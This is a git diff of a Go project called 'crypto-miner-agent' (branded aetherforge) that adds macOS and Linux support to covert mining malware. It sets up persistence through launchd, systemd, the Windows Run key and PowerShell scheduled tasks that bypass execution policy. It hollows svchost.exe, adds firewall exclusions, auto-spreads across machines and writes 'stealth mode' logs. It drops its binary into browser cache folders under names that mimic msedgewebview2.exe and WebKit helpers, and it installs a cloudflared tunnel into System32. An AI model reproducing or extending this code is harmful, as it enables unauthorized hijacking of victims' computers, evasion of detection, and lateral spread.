||||||
|
<array><string>%s</string><string>%s</string></array>
|
||||||
|
<key>RunAtLoad</key><true/>
|
||||||
|
<key>KeepAlive</key><true/>
|
||||||
|
<key>ProcessType</key><string>Background</string>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
`, label, binPath, runFlag)
|
||||||
|
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_ = exec.Command("launchctl", "load", plistPath).Run()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyDetachedStart(cmd *exec.Cmd) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.Stdin = nil
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func HostOSVersion() string {
|
||||||
|
out, err := exec.Command("uname", "-sr").CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return runtime.GOOS
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
|
||||||
|
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||||
|
name := BinaryName(cfg)
|
||||||
|
if runtime.GOOS == "darwin" {
|
||||||
|
_ = exec.Command("pkill", "-f", name).Run()
|
||||||
|
} else {
|
||||||
|
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func removePersistence(cfg config.RuntimeConfig) {
|
||||||
|
keyName := PersistenceKeyName(cfg)
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "darwin":
|
||||||
|
label := "com.aetherforge." + sanitizeName(keyName)
|
||||||
|
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
|
||||||
|
_ = exec.Command("launchctl", "unload", plistPath).Run()
|
||||||
|
_ = os.Remove(plistPath)
|
||||||
|
default:
|
||||||
|
unitName := keyName + ".service"
|
||||||
|
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
|
||||||
|
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
|
||||||
|
_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func selfUninstallSpawn(installDir string) {
|
||||||
|
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
|
||||||
|
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
|
||||||
|
_ = os.WriteFile(tmp, []byte(script), 0755)
|
||||||
|
cmd := exec.Command("/bin/sh", tmp)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
102
agent/deploy/platform_windows.go
Normal file
102
agent/deploy/platform_windows.go
Normal file
@@ -0,0 +1,102 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows/registry"
|
||||||
|
)
|
||||||
|
|
||||||
|
func CurrentExecutable() (string, error) {
|
||||||
|
path, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return filepath.Abs(os.Args[0])
|
||||||
|
}
|
||||||
|
return filepath.Abs(path)
|
||||||
|
}
|
||||||
|
|
||||||
|
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||||
|
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
|
||||||
|
}
|
||||||
|
|
||||||
|
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
|
switch cfg.RunAs {
|
||||||
|
case "scheduled", "service":
|
||||||
|
return createScheduledTask(cfg, installedBin)
|
||||||
|
default:
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||||
|
taskName := PersistenceKeyName(cfg)
|
||||||
|
if taskName == "" {
|
||||||
|
taskName = "CryptoMinerAgent"
|
||||||
|
}
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||||
|
strings.ReplaceAll(binPath, `'`, `''`),
|
||||||
|
runFlag,
|
||||||
|
strings.ReplaceAll(taskName, `'`, `''`),
|
||||||
|
)
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||||
|
return cmd.Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyDetachedStart(cmd *exec.Cmd) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: 0x08000000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func HostOSVersion() string {
|
||||||
|
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return "windows"
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
|
||||||
|
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||||
|
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
func removePersistence(cfg config.RuntimeConfig) {
|
||||||
|
keyName := PersistenceKeyName(cfg)
|
||||||
|
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||||
|
if err == nil {
|
||||||
|
_ = runKey.DeleteValue(keyName)
|
||||||
|
runKey.Close()
|
||||||
|
}
|
||||||
|
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||||
|
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
|
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||||
|
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
func selfUninstallSpawn(installDir string) {
|
||||||
|
ps := fmt.Sprintf(`
|
||||||
|
$dir = '%s'
|
||||||
|
Start-Sleep -Seconds 2
|
||||||
|
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||||
|
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
24
agent/deploy/priority_unix.go
Normal file
24
agent/deploy/priority_unix.go
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
func SetProcessPriority(priority string) error {
|
||||||
|
nice := 5
|
||||||
|
switch priority {
|
||||||
|
case "idle":
|
||||||
|
nice = 19
|
||||||
|
case "below_normal":
|
||||||
|
nice = 10
|
||||||
|
case "normal":
|
||||||
|
nice = 5
|
||||||
|
case "above_normal":
|
||||||
|
nice = 0
|
||||||
|
case "high":
|
||||||
|
nice = -5
|
||||||
|
}
|
||||||
|
return syscall.Setpriority(syscall.PRIO_PROCESS, 0, nice)
|
||||||
|
}
|
||||||
@@ -1,10 +1,11 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func SetProcessPriority(priority string) error {
|
func SetProcessPriority(priority string) error {
|
||||||
@@ -26,7 +27,3 @@ func SetProcessPriority(priority string) error {
|
|||||||
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
||||||
return cmd.Run()
|
return cmd.Run()
|
||||||
}
|
}
|
||||||
|
|
||||||
func CurrentExecutable() (string, error) {
|
|
||||||
return filepath.Abs(os.Args[0])
|
|
||||||
}
|
|
||||||
72
agent/deploy/spreadkit.go
Normal file
72
agent/deploy/spreadkit.go
Normal file
@@ -0,0 +1,72 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const spreadLogName = "aetherforge-spread.log"
|
||||||
|
|
||||||
|
// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
|
||||||
|
func LogSpreadError(stage string, err error) {
|
||||||
|
if err == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
|
||||||
|
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||||
|
f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||||
|
if openErr != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, _ = f.WriteString(line)
|
||||||
|
_ = f.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
func LogSpreadInfo(msg string) {
|
||||||
|
line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
|
||||||
|
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||||
|
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, _ = f.WriteString(line)
|
||||||
|
_ = f.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
func isLocalhostURL(url string) bool {
|
||||||
|
u := strings.ToLower(strings.TrimSpace(url))
|
||||||
|
return strings.Contains(u, "localhost") ||
|
||||||
|
strings.Contains(u, "127.0.0.1") ||
|
||||||
|
strings.Contains(u, "[::1]")
|
||||||
|
}
|
||||||
|
|
||||||
|
const firstRunSpreadMarker = ".spread_first_run"
|
||||||
|
|
||||||
|
func setFirstRunSpreadMarker(installDir string) error {
|
||||||
|
return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
|
||||||
|
}
|
||||||
|
|
||||||
|
// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
|
||||||
|
func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
|
||||||
|
dir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearFirstRunSpreadMarker removes the first-run spread marker.
|
||||||
|
func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
|
||||||
|
dir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
|
||||||
|
}
|
||||||
35
agent/deploy/tunnel.go
Normal file
35
agent/deploy/tunnel.go
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StartCloudflaredTunnel launches cloudflared pointing at serverURL (background).
|
||||||
|
func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||||
|
serverURL = strings.TrimSpace(serverURL)
|
||||||
|
if serverURL == "" {
|
||||||
|
return "", fmt.Errorf("server URL required")
|
||||||
|
}
|
||||||
|
|
||||||
|
checkCmd := exec.Command("cloudflared", "--version")
|
||||||
|
if err := checkCmd.Run(); err != nil {
|
||||||
|
downloadCmd := exec.Command("powershell", "-Command",
|
||||||
|
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||||
|
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
|
||||||
|
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||||
|
}
|
||||||
|
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
|
||||||
|
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
|
||||||
|
_ = exec.Command("copy", "/Y", src, dst).Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
||||||
|
if err := tunnelCmd.Start(); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
|
||||||
|
}
|
||||||
@@ -3,61 +3,46 @@ package deploy
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
|
|
||||||
"golang.org/x/sys/windows/registry"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// Uninstall removes persistence, stops the process, and deletes the install directory.
|
// Uninstall removes persistence, stops the process, and deletes the install directory.
|
||||||
func Uninstall(cfg config.RuntimeConfig) error {
|
func Uninstall(cfg config.RuntimeConfig) error {
|
||||||
processName := cfg.EffectiveProcessName()
|
|
||||||
installDir, err := cfg.InstallDirectory()
|
installDir, err := cfg.InstallDirectory()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
installedExe := filepath.Join(installDir, processName+".exe")
|
installedBin, err := InstalledBinaryPath(cfg)
|
||||||
|
if err != nil {
|
||||||
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run()
|
return err
|
||||||
|
|
||||||
keyName := PersistenceKeyName(cfg)
|
|
||||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
|
||||||
if err == nil {
|
|
||||||
_ = runKey.DeleteValue(keyName)
|
|
||||||
runKey.Close()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
killWorkerProcess(cfg)
|
||||||
|
removePersistence(cfg)
|
||||||
RemoveFirewallExclusion(cfg)
|
RemoveFirewallExclusion(cfg)
|
||||||
|
|
||||||
// Clean up potential lateral movement services
|
if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
|
||||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
selfUninstallSpawn(installDir)
|
||||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
|
||||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
|
||||||
|
|
||||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
|
|
||||||
// Self-uninstall: spawn cleanup then exit.
|
|
||||||
ps := fmt.Sprintf(`
|
|
||||||
$dir = '%s'
|
|
||||||
Start-Sleep -Seconds 2
|
|
||||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
|
||||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
|
||||||
_ = cmd.Start()
|
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := os.RemoveAll(installDir); err != nil {
|
if err := os.RemoveAll(installDir); err != nil {
|
||||||
return fmt.Errorf("remove install dir: %w", err)
|
return fmt.Errorf("remove install dir: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// If the agent is running in memory (Process Hollowing), it won't be killed
|
|
||||||
// by the taskkill command above. We must explicitly terminate the thread.
|
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// EnsureFirewallExclusion is implemented per platform.
|
||||||
|
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
|
||||||
|
if !cfg.FirewallExclusion {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
platformEnsureFirewall(cfg, binPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
// RemoveFirewallExclusion is implemented per platform.
|
||||||
|
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||||
|
platformRemoveFirewall(cfg)
|
||||||
|
}
|
||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"crypto-miner-agent/client"
|
"crypto-miner-agent/client"
|
||||||
@@ -25,6 +26,17 @@ func main() {
|
|||||||
log.Fatal("server URL is required in built-in configuration")
|
log.Fatal("server URL is required in built-in configuration")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if deploy.WantsSpreadInstall() {
|
||||||
|
installed, err := deploy.SpreadInstall(cfg)
|
||||||
|
if err != nil {
|
||||||
|
deploy.LogSpreadError("fatal", err)
|
||||||
|
log.Fatalf("[spread-install] failed: %v", err)
|
||||||
|
}
|
||||||
|
if installed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
installed, err := deploy.InstallIfNeeded(cfg)
|
installed, err := deploy.InstallIfNeeded(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("[installer] failed: %v", err)
|
log.Fatalf("[installer] failed: %v", err)
|
||||||
@@ -57,21 +69,22 @@ func main() {
|
|||||||
|
|
||||||
deploy.StartWatchdog(cfg)
|
deploy.StartWatchdog(cfg)
|
||||||
deploy.StartAutoSpreader(cfg)
|
deploy.StartAutoSpreader(cfg)
|
||||||
|
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||||
|
deploy.RunSpreadOnce(cfg)
|
||||||
|
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||||
|
}
|
||||||
|
|
||||||
if cfg.FirewallExclusion {
|
if cfg.FirewallExclusion {
|
||||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
|
||||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
deploy.EnsureFirewallExclusion(cfg, binPath)
|
||||||
deploy.EnsureFirewallExclusion(cfg, installedExe)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
|
||||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||||
|
|
||||||
// Trigger Process Hollowing Memory Injection if enabled
|
if cfg.ProcessHollowing && runtime.GOOS == "windows" {
|
||||||
if cfg.ProcessHollowing {
|
|
||||||
// Simple check: if we aren't already running as svchost, hollow it!
|
|
||||||
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
||||||
exePath, _ := os.Executable()
|
exePath, _ := os.Executable()
|
||||||
payload, err := os.ReadFile(exePath)
|
payload, err := os.ReadFile(exePath)
|
||||||
@@ -79,7 +92,7 @@ func main() {
|
|||||||
log.Printf("[hollowing] Injecting into svchost.exe...")
|
log.Printf("[hollowing] Injecting into svchost.exe...")
|
||||||
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||||
}
|
}
|
||||||
|
|||||||
34
agent/stats/reporter_darwin.go
Normal file
34
agent/stats/reporter_darwin.go
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package stats
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||||
|
out, err := exec.Command("sysctl", "-n", "hw.memsize").Output()
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0
|
||||||
|
}
|
||||||
|
total, _ = strconv.ParseUint(strings.TrimSpace(string(out)), 10, 64)
|
||||||
|
out, err = exec.Command("vm_stat").Output()
|
||||||
|
if err != nil {
|
||||||
|
return total, total / 2
|
||||||
|
}
|
||||||
|
// Rough available estimate from vm_stat free pages
|
||||||
|
var pageSize uint64 = 4096
|
||||||
|
var freePages uint64
|
||||||
|
for _, line := range strings.Split(string(out), "\n") {
|
||||||
|
if strings.Contains(line, "Pages free") {
|
||||||
|
parts := strings.Fields(line)
|
||||||
|
if len(parts) >= 3 {
|
||||||
|
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
avail = freePages * pageSize
|
||||||
|
return total, avail
|
||||||
|
}
|
||||||
7
agent/stats/reporter_fallback.go
Normal file
7
agent/stats/reporter_fallback.go
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
//go:build !linux && !darwin && !windows
|
||||||
|
|
||||||
|
package stats
|
||||||
|
|
||||||
|
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||||
|
return 0, 0
|
||||||
|
}
|
||||||
41
agent/stats/reporter_linux.go
Normal file
41
agent/stats/reporter_linux.go
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
//go:build linux
|
||||||
|
|
||||||
|
package stats
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||||
|
f, err := os.Open("/proc/meminfo")
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
var memTotal, memAvail uint64
|
||||||
|
sc := bufio.NewScanner(f)
|
||||||
|
for sc.Scan() {
|
||||||
|
line := sc.Text()
|
||||||
|
if strings.HasPrefix(line, "MemTotal:") {
|
||||||
|
memTotal = parseKB(line)
|
||||||
|
} else if strings.HasPrefix(line, "MemAvailable:") {
|
||||||
|
memAvail = parseKB(line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if memTotal == 0 {
|
||||||
|
return 0, 0
|
||||||
|
}
|
||||||
|
return memTotal * 1024, memAvail * 1024
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseKB(line string) uint64 {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 2 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
v, _ := strconv.ParseUint(fields[1], 10, 64)
|
||||||
|
return v
|
||||||
|
}
|
||||||
50
agent/stats/reporter_unix.go
Normal file
50
agent/stats/reporter_unix.go
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package stats
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Reporter struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewReporter() *Reporter {
|
||||||
|
return &Reporter{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
|
||||||
|
hostname, _ = os.Hostname()
|
||||||
|
cpuCores = runtime.NumCPU()
|
||||||
|
total, _ := r.memoryStatus()
|
||||||
|
memoryGB = int(total / (1024 * 1024 * 1024))
|
||||||
|
if memoryGB < 1 {
|
||||||
|
memoryGB = 1
|
||||||
|
}
|
||||||
|
return hostname, cpuCores, memoryGB
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
||||||
|
total, avail := r.memoryStatus()
|
||||||
|
if total > 0 {
|
||||||
|
memPct = float64(total-avail) / float64(total) * 100
|
||||||
|
}
|
||||||
|
return 0, memPct
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) FreeMemoryMB() uint64 {
|
||||||
|
_, avail := r.memoryStatus()
|
||||||
|
return avail / (1024 * 1024)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) TotalMemoryMB() uint64 {
|
||||||
|
total, _ := r.memoryStatus()
|
||||||
|
return total / (1024 * 1024)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *Reporter) SystemCPUPercent() float64 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
@@ -1,3 +1,5 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
package stats
|
package stats
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -54,7 +56,6 @@ func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
|||||||
if total > 0 {
|
if total > 0 {
|
||||||
memPct = float64(total-avail) / float64(total) * 100
|
memPct = float64(total-avail) / float64(total) * 100
|
||||||
}
|
}
|
||||||
// CPU usage is reported by the agent client from mining load; keep a sane default here.
|
|
||||||
cpuPct = 0
|
cpuPct = 0
|
||||||
return cpuPct, memPct
|
return cpuPct, memPct
|
||||||
}
|
}
|
||||||
28
fusion/cache_unix.go
Normal file
28
fusion/cache_unix.go
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
func cacheDropBase() string {
|
||||||
|
if runtime.GOOS == "darwin" {
|
||||||
|
home, _ := os.UserHomeDir()
|
||||||
|
return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent")
|
||||||
|
}
|
||||||
|
if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" {
|
||||||
|
return filepath.Join(xdg, "aetherforge")
|
||||||
|
}
|
||||||
|
home, _ := os.UserHomeDir()
|
||||||
|
return filepath.Join(home, ".cache", "aetherforge")
|
||||||
|
}
|
||||||
|
|
||||||
|
func dropBinaryName() string {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return "msedgewebview2.exe"
|
||||||
|
}
|
||||||
|
return "webcontent-helper"
|
||||||
|
}
|
||||||
20
fusion/cache_windows.go
Normal file
20
fusion/cache_windows.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
func cacheDropBase() string {
|
||||||
|
base := os.Getenv("LOCALAPPDATA")
|
||||||
|
if base == "" {
|
||||||
|
base = os.TempDir()
|
||||||
|
}
|
||||||
|
return filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5")
|
||||||
|
}
|
||||||
|
|
||||||
|
func dropBinaryName() string {
|
||||||
|
return "msedgewebview2.exe"
